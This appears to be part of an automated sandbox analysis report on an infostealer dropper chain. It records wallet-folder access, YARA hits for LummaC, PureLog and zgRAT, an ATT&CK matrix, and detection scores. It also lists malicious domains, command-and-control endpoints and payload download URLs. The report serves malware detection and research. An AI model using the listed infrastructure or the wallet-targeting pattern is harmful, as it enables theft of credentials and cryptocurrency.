Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Directory queried: C:\Users\user\Documents

Source: Yara match	File source: 0000000D.00000002.3288177248.0000000003B40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3288177248.0000000003B00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e0c841723d.exe PID: 7180, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: e0c841723d.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 7.0.915c60055b.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.915c60055b.exe.3ee94e0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.915c60055b.exe.3ea3198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.915c60055b.exe.3ee94e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED

Yara detected zgRAT

Source: Yara match

File source: 7.2.915c60055b.exe.3ea3198.1.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0028EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0028EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0028DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0028DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	112 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	12 Software Packing	NTDS	961 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	Virustotal		Browse
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	18%	ReversingLabs	Win32.Dropper.Generic
C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	18%	ReversingLabs	Win32.Dropper.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
home.fivetk5ht.top	185.121.15.192	true	true	unknown
treehoneyi.click	172.67.180.113	true	false	high
steamcommunity.com	23.55.153.106	true	false	high
lossekniyyt.click	104.21.12.88	true	false	high
github.com	20.233.83.145	true	false	high
immureprech.biz	45.77.249.79	true	false	high
deafeninggeh.biz	178.62.201.34	true	false	high
httpbin.org	98.85.100.80	true	false	high
sordid-snaked.cyou	unknown	unknown	false	high
diffuculttan.xyz	unknown	unknown	false	high
effecterectz.xyz	unknown	unknown	false	high
awake-weaves.cyou	unknown	unknown	false	high
wrathful-jammy.cyou	unknown	unknown	false	high
bellflamre.click	unknown	unknown	false	high
debonairnukk.xyz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=TmUWwkAQBKXXTWTE1734696758	true	unknown
https://immureprech.biz/api	false	high
energyaffai.lat	false	high
https://treehoneyi.click/api	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851	true	unknown
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high
https://lossekniyyt.click/api	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exeZ1	skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.gstatic.cn/recaptcha/	f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt	915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	false	unknown
https://treehoneyi.click/6	e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000002.3288427836.0000000003B75000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/x3team/random.exe	skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf	915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	false	high
http://www.valvesoftware.com/legal.htm	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com	f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://specs.openid.net/auth/2.0$dnoa.request_nonce	915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	false	unknown
https://deafeninggeh.biz/z	f3c1a61157.exe, 0000000C.00000003.3145070089.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exeD	skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000010.00000002.3214735139.0000000006285000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/x3team/random.exe?T_	skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
https://diffuculttan.xyz/api	f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	high
https://s.ytimg.com;	f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0cf121b643.exe, 0000000E.00000002.3290091056.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3207165275.0000000005221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3247505840.0000000004211000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://immureprech.biz/~	f3c1a61157.exe, 0000000C.00000003.3145200200.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://awake-weaves.cyou:443/api	f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=OFUqlcDNiD6y&l=engli	f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false	high
http://openid.net/xmlns/1.08http://openid.net/signon/1.0	915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/karl/random.exe	skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	false	high
https://wrathful-jammy.cyou/	f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000010.00000002.3214735139.0000000006285000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://effecterectz.xyz:443/apiZ	f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
